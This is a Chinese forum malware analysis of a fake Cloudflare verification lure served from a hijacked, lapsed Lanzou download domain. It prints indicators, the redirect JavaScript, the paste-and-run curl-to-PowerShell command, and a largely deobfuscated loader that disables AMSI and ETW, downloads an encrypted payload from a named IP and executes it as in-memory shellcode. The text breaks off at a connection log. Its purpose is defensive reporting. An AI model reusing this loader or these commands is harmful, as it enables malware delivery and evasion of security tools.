济宁网众蓝奏过期域，黑产抢注验证钓鱼，PowerShell/Kryptik.PC-Trojan 火绒卡巴不报

3306-1

来源：https://www.52pojie.cn/thread-2135145-1-1.html
关联：https://huorong.cn/document/tech/vir_report/2082
受害：lccccccc
抄送：@火绒工程师
备注：ＰＳ脚本后加密载荷，内存执行
　　　由于仅静态分析，无法完整转储

请有实机安全围栏的，双击并转储分享后续载荷
请卡巴用户，积极向卡巴进行本样本的漏杀反馈

受害者描述

1. 尝试下载某帖内的 ScreenWings 转载程序
   
2. 
   
3. 下载地址是蓝奏云，结果打开后一路跳转到人机验证钓鱼
   
4. 
   
5. 当时疏忽大意，不清醒就执行了恶意执行
   
6. 
   
7. 求助大家，该如何杀毒，是否有害，怎么清理这个木马病毒
   
8. 
   
9. （已去敏，3306 重新转储）

复制代码

参考图片


有效参考
域　名　lanzouo[.]com
注册商　Alibaba Cloud Computing (Beijing) Co., Ltd.
注册人　济宁网众信息技术有限公司
邮　箱
省／州　山东
地　区　中国（CN）
许可号　鲁ICP备15001327号
通过日　2025-08-04
注册日　2020-07-19 02:12:30 UTC+8
过期日　2027-07-19 02:12:30 UTC+8
更新日　2026-06-23 17:42:17 UTC+8
IANA_ID　420
状　态　正常
解　析　ns1[.]dns[.]com
　　　　ns2[.]dns[.]com
DNSSEC　未配置

失效抢注
域　名　lanzous[.]com
注册商　Dynadot Inc
注册人
邮　箱
注册日　2022-05-11 02:31:05 UTC+8
过期日　2029-05-11 02:31:05 UTC+8
更新日　2024-10-20 04:56:49 UTC+8
IANA_ID　472
状　态　注册商禁止转移
　　　　禁止转移
解　析　ns1[.]parklogic[.]com
　　　　ns2[.]parklogic[.]com
DNSSEC　未配置

嵌套路由
域　名　parklogic[.]com
注册商　Dynadot Inc
注册人
邮　箱
注册日　2007-03-01 06:35:52 UTC+8
过期日　2031-03-01 06:35:52 UTC+8
更新日　2026-09-08 04:33:04 UTC+8
IANA_ID　472
状　态　注册商禁止转移
　　　　禁止转移
解　析　cartman[.]ns.cloudflare[.]com
　　　　gloria[.]ns.cloudflare[.]com
DNSSEC　未配置

恶意载荷（站群之一，未及时转储，解析已空）
域　名　superdudesjr[.]com
注册商　Dominet (HK) Limited
注册人
邮　箱
省／州　Sachsen
地　区　德国（DE）
注册日　2026-10-30 19:15:38 UTC+8
过期日　2027-10-30 19:15:38 UTC+8
更新日　2026-10-31 17:18:13 UTC+8
IANA_ID　3775
状　态　正常
解　析　ns1[.]eternitynames[.]net
　　　　ns2[.]eternitynames[.]net
　　　　ns3[.]eternitynames[.]net
　　　　ns4[.]eternitynames[.]net
DNSSEC　未配置

文件指纹
curl.bat（仅供参考，我本地另存）
大小: 198 字节
CRC32: 2AE9CF2D
XXH64: 74D69775936C0252
SHA256: 41379f6f76ae18430dcfc13d33a1f6d6bdf35510d8ff0d7d86e9e79290f80d31
SHA3-256: 4d96963df1c1de6cfd268c866ac24b2f361d2df4ddcbff2eec9d5f29db0e6306

P516.ps1（仅供参考，我本地另存）
大小: 7710 字节 : 7 KiB
CRC32: BB724933
XXH64: F7E6DE927BDF70A9
SHA256: 11376ce8ffbb347beac62d1cb375c81307aebc342d8d0c3a1957295a0781cad3
SHA3-256: 2d1c1d7643b8c0dbbff82cfe51468f022da54deac87e27ca364f96e7f5355197

281／P516.ps1（不固定，服务器动态生成）
大小: 7793 字节 : 7 KiB
CRC32: 7F231E06
XXH64: 17995DBC8E055F5B
SHA256: 867b696315ed36e184ba522066c7f3fc9dbd1b480264bc540b2c1158968686ef
SHA3-256: 93629d2db6063cdd87c3b19195692ed5149b59f89b620b3f081898583a0b07f0

ver.pa（不固定，服务器动态生成）
大小: 8225392 字节 : 8032 KiB
CRC32: DD028D51
XXH64: 262D0C5E78D96570
SHA256: c235f4940f5dea8cdc928604a47cab2771377762672a46146e3ce65e7ff151a7
SHA3-256: 43b8d244656a409e8d6359fb64b49926a18aa996672a8faa369f06607c0c7f4c

火绒扫描（我自己的本地扫描结果）
6.0.12.3 版本
10-31 19:01 病毒库

2026/10/31 22:11:52
2026/11/01 08:24:20
病毒防护
病毒查杀
自定义扫描(手动执行)，发现0个风险项目

病毒库时间：2026-10-31 19:01
开始时间：2026-10-31 22:11
　　　　　2026-11-01 08:24
执行类型：手动执行
扫描类型：自定义扫描
总计用时：00:00:01
扫描对象：2
　　　　　5
扫描文件：2
　　　　　5
发现风险：0
已处理风险：0

资源情况

1. 帖子地址
   
2. 反录屏截图 ScreenWings
   
3. 
   
4. 转载时间
   
5. 2020-03-11 21:13
   
6. 
   
7. 蓝奏入口
   
8. /ia5n7bg
   
9. 
   
10. 原定内容（根据该帖历史回复猜测）
    
11. ScreenWings.rar
    
12. 
    
13. 实际情况
    
14. 2026-10-31
    
15. 文件链接失效，请获取新链接
    
16. 
    
17. 官方地址
    
18. https://schiffer.tech/screenwings.html
    
19. 
    
20. 官方下载
    
21. 商业付费软件，官网目前暂无公开地址
    
22. 
    
23. 历史指纹
    
24. ScreenWings.exe
    
25. 大小: 3707424 字节 : 3620 KiB
    
26. CRC32: BD8317B2
    
27. XXH64: 1EB1C06BD28AE60F
    
28. SHA256: 26f537ecc93fa08ba1361334fffd2aca3208eba336a5ec036c5587db40700091
    
29. SHA3-256: c7e7706ad40160cf439aa457f44c97c227e8ac366cbded418203f6d81061047b
    
30. 
    
31. 历史属性
    
32. Themida - Winlicense v3.0.0.0 - 3.2.4.0 - [  PACKED  ] Oreans Technologies - www.oreans.com ,
    
33. Overlay : 000000... Nothing detected
    
34. 
    
35. FILEVERSION    2,14,1092,0
    
36. PRODUCTVERSION 2,14,1092,0
    
37. FILEFLAGSMASK  0x3F
    
38. FILEFLAGS      0x0
    
39. FILEOS         VOS_UNKNOWN | VOS__WINDOWS32
    
40. FILETYPE       VFT_APP
    
41. FILESUBTYPE    0x0
    
42. {
    
43.   BLOCK "VarFileInfo"
    
44.   {
    
45.     VALUE "Translation", 0x0, 1200
    
46.   }
    
47.   BLOCK "StringFileInfo"
    
48.   {
    
49.     BLOCK "000004b0"
    
50.     {
    
51.       VALUE "Comments",          ""
    
52.       VALUE "CompanyName",       "Hendrik Schiffer"
    
53.       VALUE "FileDescription",   "ScreenWings"
    
54.       VALUE "FileVersion",       "2.14.1092"
    
55.       VALUE "InternalName",      "ScreenWings.exe"
    
56.       VALUE "LegalCopyright",    "Copyright © Hendrik Schiffer 2016-2020"
    
57.       VALUE "LegalTrademarks",   ""
    
58.       VALUE "OriginalFilename",  "ScreenWings.exe"
    
59.       VALUE "ProductName",       "ScreenWings"
    
60.       VALUE "ProductVersion",    "2.14.1092"
    
61.       VALUE "Assembly Version",  "2.14.1092.0"
    
62.     }
    
63.   }
    
64. }
    
65. 
    
66. 数字签名
    
67. Hendrik Schiffer
    
68. contact@schiffer.tech
    
69. Sectigo RSA Code Signing CA 签发
    
70. 2020-02-28 02:21:49，SHA 1 摘要算法
    
71. 证书序列号：00 ce 2f 12 3c 14 2c 8b da 9a b6 43 72 ac fc 20 3b
    
72. 
    
73. Hendrik Schiffer
    
74. contact@schiffer.tech
    
75. Sectigo RSA Code Signing CA 签发
    
76. 2020-02-28 02:21:52，SHA 256 摘要算法
    
77. 证书序列号：00 ce 2f 12 3c 14 2c 8b da 9a b6 43 72 ac fc 20 3b

复制代码

内联脚本

1. (() => {
   
2.   "use strict";
   
3.   const e = "offset",
   
4.     t = "client",
   
5.     o = function () {};
   
6.   let n = !1,
   
7.     r = !1;
   
8.   const i = {
   
9.       loopDelay: 50,
   
10.       maxLoop: 5,
    
11.       complete: o,
    
12.     },
    
13.     a = [];
    
14.   let s = null;
    
15.   const l = {
    
16.       cssClass:
    
17.         "ad-overlay google-ad-bottom-outer prebid-wrapper .dfp-ad-container",
    
18.     },
    
19.     u = {
    
20.       nullProps: [e + "Parent"],
    
21.       zeroProps: [],
    
22.     };
    
23.   u.zeroProps = [
    
24.     e + "Height",
    
25.     e + "Left",
    
26.     e + "Top",
    
27.     e + "Width",
    
28.     e + "Height",
    
29.     t + "Height",
    
30.     t + "Width",
    
31.   ];
    
32.   const c = {
    
33.     quick: null,
    
34.     remote: null,
    
35.   };
    
36.   let d = null;
    
37.   const p = {
    
38.     test: 0,
    
39.     download: 0,
    
40.   };
    
41.   function f(e) {
    
42.     return "function" == typeof e;
    
43.   }
    
44.   function m(e) {
    
45.     !0 !== d &&
    
46.       ((r = !0),
    
47.       y(e),
    
48.       (c.quick = "testing"),
    
49.       (p.test = setTimeout(function () {
    
50.         h(e, 1);
    
51.       }, 5)));
    
52.   }
    
53.   function y(e) {
    
54.     let t,
    
55.       o,
    
56.       n = document.body,
    
57.       r =
    
58.         "width: 1px !important; height: 1px !important; position: absolute !important; left: -10000px !important; top: -1000px !important;";
    
59.     if (null != e && "string" != typeof e) {
    
60.       for (
    
61.         null != e.style && (r += e.style),
    
62.           s = (function (e, t) {
    
63.             let o,
    
64.               n,
    
65.               r = t;
    
66.             if (((n = document.createElement(e)), r))
    
67.               for (o in r) r.hasOwnProperty(o) && n.setAttribute(o, r[o]);
    
68.             return n;
    
69.           })("div", {
    
70.             class: e.cssClass,
    
71.             style: r,
    
72.           }),
    
73.           n.appendChild(s),
    
74.           t = 0;
    
75.         t < u.nullProps.length;
    
76.         t++
    
77.       )
    
78.         o = s[u.nullProps[t]];
    
79.       for (t = 0; t < u.zeroProps.length; t++) o = s[u.zeroProps[t]];
    
80.     }
    
81.   }
    
82.   function h(e, t) {
    
83.     const o = document.body;
    
84.     let c = !1;
    
85.     if ((null == s && y(e || l), "string" != typeof e)) {
    
86.       (p.test > 0 && (clearTimeout(p.test), (p.test = 0)),
    
87.         null !== o.getAttribute("abp") && (c = !0));
    
88.       for (let e = 0; e < u.nullProps.length; e++) {
    
89.         if (null == s[u.nullProps[e]]) {
    
90.           t > 4 && (c = !0);
    
91.           break;
    
92.         }
    
93.         if (!0 === c) break;
    
94.       }
    
95.       for (let e = 0; e < u.zeroProps.length && !0 !== c; e++)
    
96.         0 === s[u.zeroProps[e]] && t > 4 && (c = !0);
    
97.       if (void 0 !== window.getComputedStyle) {
    
98.         const e = window.getComputedStyle(s, null);
    
99.         ("none" !== e.getPropertyValue("display") &&
    
100.           "hidden" !== e.getPropertyValue("visibility")) ||
     
101.           (t > 4 && (c = !0));
     
102.       }
     
103.       ((n = !0),
     
104.         c || t++ >= i.maxLoop
     
105.           ? ((d = c),
     
106.             (function () {
     
107.               let e, t;
     
108.               if (null === d) return;
     
109.               for (e = 0; e < a.length; e++) {
     
110.                 t = a[e];
     
111.                 try {
     
112.                   null != t && f(t["complete"]) && t["complete"](d);
     
113.                 } catch (e) {
     
114.                   return;
     
115.                 }
     
116.               }
     
117.             })(),
     
118.             g() &&
     
119.               setTimeout(function () {
     
120.                 r = !1;
     
121.               }, 5))
     
122.           : (p.test = setTimeout(function () {
     
123.               h(e, t);
     
124.             }, i.loopDelay)));
     
125.     } else
     
126.       g() &&
     
127.         setTimeout(function () {
     
128.           r = !1;
     
129.         }, 5);
     
130.   }
     
131.   function g() {
     
132.     if (null === s) return !0;
     
133.     try {
     
134.       (f(s.remove) && s.remove(), document.body.removeChild(s));
     
135.     } catch (e) {}
     
136.     return ((s = null), !0);
     
137.   }
     
138.   var w = function (e) {
     
139.     if (!e) return;
     
140.     const t = {
     
141.       complete: o,
     
142.       found: o,
     
143.       notfound: o,
     
144.     };
     
145.     let n;
     
146.     for (n in e)
     
147.       e.hasOwnProperty(n) &&
     
148.         ("complete" === n || "found" === n || "notFound" === n
     
149.           ? (t[n.toLowerCase()] = e[n])
     
150.           : (i[n] = e[n]));
     
151.     (a.push(t),
     
152.       (function () {
     
153.         let e,
     
154.           t = !1;
     
155.         (document.readyState && "complete" === document.readyState && (t = !0),
     
156.           (e = function () {
     
157.             m(l);
     
158.           }),
     
159.           t ? e() : window.addEventListener("load", e));
     
160.       })());
     
161.   };
     
162.   function b() {
     
163.     (document.write(
     
164.       `<a id="Lf5Bwk4VUwckRGlsodUE1cfaRyQBxT1O" href="/.IGV0hOcNusVJOgqoD1HuWTk0PssdueKB"></a>`,
     
165.     ),
     
166.       document.getElementById("Lf5Bwk4VUwckRGlsodUE1cfaRyQBxT1O").click());
     
167.   }
     
168.   function v(e) {
     
169.     return `${e}`;
     
170.   }
     
171.   async function P(e) {
     
172.     const t = await (async function (e, t) {
     
173.       const o = Uint8Array.from(atob(e), (e) => e.charCodeAt(0)),
     
174.         n = JSON.parse(new TextDecoder().decode(o));
     
175.       return (
     
176.         (n.parameters.adBlockingDetected = t),
     
177.         (n.parameters.isIframe = window.self !== window.top),
     
178.         (n.parameters.refererBrowser = document.referrer),
     
179.         (n.parameters.timezoneBrowser =
     
180.           Intl.DateTimeFormat().resolvedOptions().timeZone),
     
181.         (n.parameters.timezoneOffset = new Date().getTimezoneOffset()),
     
182.         (n.parameters.webdriver = navigator.webdriver),
     
183.         (n.parameters.gpu = await (async function () {
     
184.           if (!navigator.gpu) return null;
     
185.           const e = await navigator.gpu.requestAdapter();
     
186.           if (!e) return null;
     
187.           if (e.info && e.info.vendor) return e.info.vendor;
     
188.           if (e.requestAdapterInfo) {
     
189.             const t = await e.requestAdapterInfo();
     
190.             return t.vendor ? t.vendor : null;
     
191.           }
     
192.           return null;
     
193.         })()),
     
194.         JSON.stringify(n)
     
195.       );
     
196.     })(
     
197.       "eyJw ..... J9fQ==",
     
198.       e,
     
199.     );
     
200.     (async function (e, t) {
     
201.       const o = new XMLHttpRequest();
     
202.       ((o.onreadystatechange = _), o.open("POST", e, !0), o.send(t));
     
203.     })("https://router[.]parklogic[.]com/ia5n7bg", t).then();
     
204.   }
     
205.   function T(e) {
     
206.     ((document.body.innerHTML = e),
     
207.       document.body.querySelectorAll("script").forEach((e) => {
     
208.         const t = document.createElement("script");
     
209.         for (const o of e.attributes) t.setAttribute(o.name, o.value);
     
210.         ((t.innerHTML = e.innerHTML), e.parentNode.replaceChild(t, e));
     
211.       }));
     
212.   }
     
213.   function _() {
     
214.     var e;
     
215.     4 === this.readyState &&
     
216.       (200 !== this.status &&
     
217.         console.error(
     
218.           `failed to contact router, status code: ${this.status} "${this.statusText}"`,
     
219.         ),
     
220.       this.responseText.startsWith("http")
     
221.         ? ((e = this.responseText),
     
222.           "true" === v("")
     
223.             ? ((document.cookie = `m6RW96QaECHb2mXiRi7YQBqlkYuoZc7A=${btoa(e)};max-age=5`),
     
224.               b())
     
225.             : window.location.replace(e))
     
226.         : T(this.responseText));
     
227.   }
     
228.   "true" === v("true")
     
229.     ? w({
     
230.         complete: (e) => {
     
231.           e
     
232.             ? "true" === v("")
     
233.               ? ((document.cookie =
     
234.                   "Nsj7rdlN8X5lOGh3PoZezs9aS9Eqq3VK=1;max-age=5"),
     
235.                 "true" === v("") ? b() : location.reload())
     
236.               : P(!0)
     
237.             : P(!1);
     
238.         },
     
239.       })
     
240.     : P();
     
241. })();

复制代码

载荷参考

1. POST
   
2. https://router[.]parklogic[.]com/ia5n7bg
   
3. 
   
4.         JSON.stringify(n)
   
5.       );
   
6.     })(
   
7.       "eyJw ..... J9fQ==",　　＜＜＜取自此处，Base64 编码，内容为下方压缩
   
8.       e,
   
9.     );
   
10. 
    
11. {
    
12.     "parameters": {
    
13.         "uuid": "064bf29af417ca2120f90bb7687b6e89",
    
14.         "regionName": "",
    
15.         "continentName": "Asia",
    
16.         "city": "",
    
17.         "timezoneGeo": "Asia/Shanghai",
    
18.         "continent": "AS",
    
19.         "path": "/ia5n7bg",
    
20.         "domainApex": "lanzous[.]com",
    
21.         "tenant": "generic",
    
22.         "country": "CN",
    
23.         "domainFull": "www[.]lanzous[.]com",
    
24.         "ipOrig": "127[.]0[.]0[.]1",
    
25.         "countryName": "China",
    
26.         "referrer": "https://www[.]lanzous[.]com/ia5n7bg",
    
27.         "protocol": "https",
    
28.         "region": "",
    
29.         "adBlockingDetected": true,
    
30.         "isIframe": false,
    
31.         "refererBrowser": "https://www[.]lanzous[.]com/ia5n7bg",
    
32.         "timezoneBrowser": "Asia/Shanghai",
    
33.         "timezoneOffset": -480,
    
34.         "webdriver": false,
    
35.         "gpu": "nvidia"
    
36.     }
    
37. }

复制代码

响应参考

1. 随机路由分配地址，每次
   
2. 并不固定，很难原路复现
   
3. 
   
4. 本次参考为（与人机验证钓鱼无关）
   
5. https://greenbites[.]net/r/qeSu ..... Z1p4（https 至 Z1p4 字符总长约 1220）

复制代码

钓鱼诱导

1. CLOUDFLARE
   
2. 
   
3. Human Verification
   
4. Complete the steps Detow
   
5. perform the steps on your keyboard‌
   
6. 
   
7. Win＋Ｒ
   
8. Type cmd in the input box and press Enter
   
9. Ctrl＋Ｖ
   
10. Enter

复制代码

执行命令

1. cmd /c
   
2. 　　curl.exe
   
3. 　　　　-fsL
   
4. 　　　　--ssl-no-revoke
   
5. 　　　　--retry 8
   
6. 　　　　--retry-connrefused
   
7. 　　　　--retry-delay 1
   
8. 　　　　--connect-timeout 20
   
9. 　　　　-o "%TEMP%\P516.ps1"
   
10. 　　　　1319076862/281
    
11. 　　&&
    
12. 　　powershell
    
13. 　　　　-w h
    
14. 　　　　-nop
    
15. 　　　　-ep bypass
    
16. 　　　　-File "%TEMP%\P516.ps1"

复制代码

恶意载荷

1. 1319076862/281
   
2. 
   
3. http://78[.]159[.]131[.]254/281

复制代码

通讯参考

1. *   Trying 78[.]159[.]131[.]254:80...
   
2. * Established connection to 78[.]159[.]131[.]254 (78[.]159[.]131[.]254 port 80) from 　　　 port 61587
   
3. * using HTTP/1.x
   
4. 
   
5. > GET /281 HTTP/1.1
   
6. > Host: 78[.]159[.]131[.]254
   
7. > User-Agent: curl/8.23.0
   
8. > Accept: */*
   
9. >
   
10. * Request completely sent off
    
11. 
    
12. < HTTP/1.1 200 OK
    
13. < Server: nginx
    
14. < Date: Sat, 31 Oct 2026 23:59:44 GMT
    
15. < Content-Type: application/octet-stream
    
16. < Content-Length: 7726
    
17. < Last-Modified: Sat, 31 Oct 2026 17:06:47 GMT
    
18. < Connection: keep-alive
    
19. < ETag: "6ae62027-1e2e"
    
20. < Accept-Ranges: bytes
    
21. <
    
22. 
    
23. $ptKSnRHP = ''; .....

复制代码

释放文件

1. %TEMP%\P516.ps1

复制代码

动态运算

1. # ===== 1. 还原 AMSI 相关类型名：System.Management.Automation.AmsiUtils =====
   
2. $giKovsDymxFqLh = ''
   
3. $fmppNVgZQSNx = @(
   
4.     -2337672, ..... ,-2337640
   
5. )
   
6. 
   
7. $giKovsDymxFqLh = ''
   
8. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
   
9.     $giKovsDymxFqLh += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 2337755)
   
10. }
    
11. 
    
12. # ===== 2. 还原字段名：amsiContext =====
    
13. $fmppNVgZQSNx = @(
    
14.     -2351186, ..... ,-2351167
    
15. )
    
16. 
    
17. $Thlco = ''
    
18. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
    
19.     $Thlco += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 2351283)
    
20. }
    
21. 
    
22. $YMlFoQtmLbHnWx = [psobject].Assembly.GetType($giKovsDymxFqLh)
    
23. $CyZoqesinvz = $YMlFoQtmLbHnWx.GetField($Thlco, 40)
    
24. $CyZoqesinvz.SetValue($MNQlP, [IntPtr]::Zero)
    
25. 
    
26. # ===== 3. 还原 ScriptBlock 类型与 signatures 字段 =====
    
27. $fmppNVgZQSNx = @(
    
28.     -1498542, ..... ,-1498518
    
29. )
    
30. 
    
31. $KiIYZGfZ = ''
    
32. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
    
33.     $KiIYZGfZ += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 1498625)
    
34. }
    
35. 
    
36. $fmppNVgZQSNx = @(
    
37.     -1330227, ..... ,-1330227
    
38. )
    
39. 
    
40. $AmPNjWAhwI = ''
    
41. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
    
42.     $AmPNjWAhwI += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 1330342)
    
43. }
    
44. 
    
45. $bAkhuh = [psobject].Assembly.GetType($KiIYZGfZ)
    
46. $arbEuGwMQPSPw = $bAkhuh.GetField($AmPNjWAhwI, 40)
    
47. $udvbgZiYX = $arbEuGwMQPSPw.GetValue($MNQlP)
    
48. $udvbgZiYX.Clear()
    
49. 
    
50. # ===== 4. 还原 ETW 相关类型与字段：PSEtwLogProvider.etwProvider.m_enabled =====
    
51. $fmppNVgZQSNx = @(
    
52.     -1943415, ..... ,-1943384
    
53. )
    
54. 
    
55. $DPeRDoXl = ''
    
56. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
    
57.     $DPeRDoXl += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 1943498)
    
58. }
    
59. 
    
60. $fmppNVgZQSNx = @(
    
61.     -2128999, ..... ,-2129008
    
62. )
    
63. 
    
64. $FbnXfBOM = ''
    
65. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
    
66.     $FbnXfBOM += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 2129108)
    
67. }
    
68. 
    
69. $fmppNVgZQSNx = @(
    
70.     -2037191, ..... ,-2037178
    
71. )
    
72. 
    
73. $ZdugG = ''
    
74. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
    
75.     $ZdugG += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 2037292)
    
76. }
    
77. 
    
78. $TMStxJHqIm = [psobject].Assembly.GetType($DPeRDoXl)
    
79. $IlDRmOTTdTQuKNq = $TMStxJHqIm.GetField($ZdugG, 40)
    
80. $BCEztfxma = $IlDRmOTTdTQuKNq.GetValue($MNQlP)
    
81. $m_enabledProp = $BCEztfxma.GetType().GetField($FbnXfBOM, 36)
    
82. $m_enabledProp.SetValue($BCEztfxma, 0)
    
83. 
    
84. # ===== 5. 动态程序集 + P/Invoke 声明 =====
    
85. $mhJlAjbKqYmIHKO = New-Object Reflection.AssemblyName('C73955')
    
86. $iEqkStDlcld = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
    
87.     $mhJlAjbKqYmIHKO,
    
88.     [Reflection.Emit.AssemblyBuilderAccess]::Run
    
89. )
    
90. 
    
91. $dTjQKhc = $iEqkStDlcld.DefineDynamicModule('F14566')
    
92. $diQiVbqUAo = $dTjQKhc.DefineType(
    
93.     'G78255',
    
94.     [Reflection.TypeAttributes]'Public,BeforeFieldInit'
    
95. )
    
96. 
    
97. $QzHVKfOhXGxacN = [Reflection.MethodAttributes]'Public,Static'
    
98. $TWFFS = [Reflection.CallingConventions]::Standard
    
99. $eOtOpLKiaNCkAJ = [Runtime.InteropServices.CallingConvention]::Winapi
    
100. 
     
101. $jpozZY = [Runtime.InteropServices.CharSet]::Auto
     
102. $wjzHYwTrgeay = [Runtime.InteropServices.CharSet]::Unicode
     
103. $sPqJReFYNhFZ = [Runtime.InteropServices.CharSet]::Ansi
     
104. 
     
105. function DefineImportFunc(
     
106.     $XOJPgCUysoSj,
     
107.     .....
     
108.     $TWXttLtoztOEwU
     
109. ) {
     
110.     $diQiVbqUAo = $diQiVbqUAo.DefinePInvokeMethod(
     
111.         $XOJPgCUysoSj,
     
112.         .....
     
113.         $TWXttLtoztOEwU
     
114.     )
     
115.     $diQiVbqUAo.SetImplementationFlags(
     
116.         [Reflection.MethodImplAttributes]::PreserveSig
     
117.     )
     
118. }
     
119. 
     
120. DefineImportFunc 'VirtualAlloc' 'kernel32.dll' ([IntPtr]) ([type[]]@(
     
121.     [IntPtr],
     
122.     [UIntPtr],
     
123.     [uint32],
     
124.     [uint32]
     
125. )) $jpozZY
     
126. 
     
127. DefineImportFunc 'VirtualProtect' 'kernel32.dll' ([bool]) ([type[]]@(
     
128.     [IntPtr],
     
129.     [UIntPtr],
     
130.     [uint32],
     
131.     [uint32].MakeByRefType()
     
132. )) $jpozZY
     
133. 
     
134. DefineImportFunc 'CreateThread' 'kernel32.dll' ([IntPtr]) ([type[]]@(
     
135.     [IntPtr],
     
136.     [UIntPtr],
     
137.     [IntPtr],
     
138.     [IntPtr],
     
139.     [uint32],
     
140.     [uint32].MakeByRefType()
     
141. )) $jpozZY
     
142. 
     
143. DefineImportFunc 'LoadLibraryA' 'kernel32.dll' ([IntPtr]) ([type[]]@(
     
144.     [string]
     
145. )) $sPqJReFYNhFZ
     
146. 
     
147. DefineImportFunc 'GetProcAddress' 'kernel32.dll' ([IntPtr]) ([type[]]@(
     
148.     [IntPtr],
     
149.     [string]
     
150. )) $sPqJReFYNhFZ
     
151. 
     
152. $dftwqQxIlOLy = $diQiVbqUAo.CreateType()
     
153. 
     
154. # ===== 6. 还原 User-Agent =====
     
155. $fmppNVgZQSNx = @(
     
156.     -3297583, ..... ,-3297606
     
157. )
     
158. 
     
159. $nSAbiGZCqEH = ''
     
160. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
     
161.     $nSAbiGZCqEH += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 3297660)
     
162. }
     
163. 
     
164. # ===== 7. 还原下载 URL：http://78[.]159[.]131[.]254/yrjrs/ver.pa =====
     
165. $fmppNVgZQSNx = @(
     
166.     -2660095, ..... ,-2660102
     
167. )
     
168. 
     
169. $MAAFdo = ''
     
170. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
     
171.     $MAAFdo += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 2660199)
     
172. }
     
173. 
     
174. # ===== 8. 下载加密载荷 =====
     
175. $InCIIXjvHBs = New-Object System.Net.WebClient
     
176. $InCIIXjvHBs.Headers.Add("User-Agent", $nSAbiGZCqEH)
     
177. [byte[]]$xUdOZMu = $InCIIXjvHBs.DownloadData($MAAFdo)
     
178. 
     
179. # ===== 9. AES-256-CBC 解密：前 16 字节为 IV，其余为密文 =====
     
180. $JDeLHCU = [Convert]::FromBase64String(
     
181.     "x5foO/X3JDxqKLsUHMnqohEj023iNHQxzgxrY3xaQJ4="
     
182. )
     
183. 
     
184. $nNARAjGgoxBhWAy = $xUdOZMu
     
185. $qxxJE = [byte[]]::new(16)
     
186. $FLAewGdDWjXMtjl = [byte[]]::new($nNARAjGgoxBhWAy.Length - 16)
     
187. 
     
188. [Array]::Copy($nNARAjGgoxBhWAy, 0, $qxxJE, 0, 16)
     
189. [Array]::Copy(
     
190.     $nNARAjGgoxBhWAy,
     
191.     16,
     
192.     $FLAewGdDWjXMtjl,
     
193.     0,
     
194.     $FLAewGdDWjXMtjl.Length
     
195. )
     
196. 
     
197. $TbbiToHYP = [System.Security.Cryptography.Aes]::Create()
     
198. $TbbiToHYP.Key = $JDeLHCU
     
199. $TbbiToHYP.IV = $qxxJE
     
200. $TbbiToHYP.Mode = [System.Security.Cryptography.CipherMode]::CBC
     
201. $TbbiToHYP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
     
202. 
     
203. $rauEAzEG = $TbbiToHYP.CreateDecryptor()
     
204. $UYQhcf = [System.IO.MemoryStream]::new($FLAewGdDWjXMtjl)
     
205. $TWXttLtoztOEwU = [System.Security.Cryptography.CryptoStream]::new(
     
206.     $UYQhcf,
     
207.     $rauEAzEG,
     
208.     [System.Security.Cryptography.CryptoStreamMode]::Read
     
209. )
     
210. 
     
211. $dYAoK = [System.IO.MemoryStream]::new()
     
212. $TWXttLtoztOEwU.CopyTo($dYAoK)
     
213. 
     
214. # 最终 ShellCode 字节数组
     
215. $xUdOZMu = $dYAoK.ToArray()
     
216. $UfDlGgbpoqcr = $xUdOZMu.Length
     
217. 
     
218. $dYAoK.Dispose()
     
219. $TWXttLtoztOEwU.Dispose()
     
220. $UYQhcf.Dispose()
     
221. $rauEAzEG.Dispose()
     
222. $TbbiToHYP.Dispose()
     
223. 
     
224. # ===== 10. 内存分配、写入 ShellCode、改执行权限、创建线程 =====
     
225. $mzmXuXOZ = $xUdOZMu
     
226. $xcHJLOQz = 0
     
227. $pr1740 = 0
     
228. 
     
229. $cAKUpHUkTuE = $dftwqQxIlOLy::VirtualAlloc(
     
230.     [IntPtr]::Zero,
     
231.     [UIntPtr]::new([uint64]$UfDlGgbpoqcr),
     
232.     [uint32]12288,
     
233.     [uint32]4
     
234. )
     
235. 
     
236. [Runtime.InteropServices.Marshal]::Copy(
     
237.     $mzmXuXOZ,
     
238.     0,
     
239.     $cAKUpHUkTuE,
     
240.     $UfDlGgbpoqcr
     
241. )
     
242. 
     
243. [void]$dftwqQxIlOLy::VirtualProtect(
     
244.     $cAKUpHUkTuE,
     
245.     [UIntPtr]::new([uint64]$UfDlGgbpoqcr),
     
246.     [uint32]64,
     
247.     [ref]$xcHJLOQz
     
248. )
     
249. 
     
250. $ti3957 = [uint32]0
     
251. 
     
252. [void]$dftwqQxIlOLy::CreateThread(
     
253.     [IntPtr]::Zero,
     
254.     [UIntPtr]::Zero,
     
255.     [IntPtr]::new($cAKUpHUkTuE.ToInt64()),
     
256.     [IntPtr]::Zero,
     
257.     [uint32]0,
     
258.     [ref]$ti3957
     
259. )
     
260. 
     
261. while ($true) {
     
262.     Start-Sleep -Seconds 30
     
263. }

复制代码

加密载荷

1. http://78[.]159[.]131[.]254/yrjrs/ver.pa

复制代码

通讯参考

1. *   Trying 78[.]159[.]131[.]254:80...
   
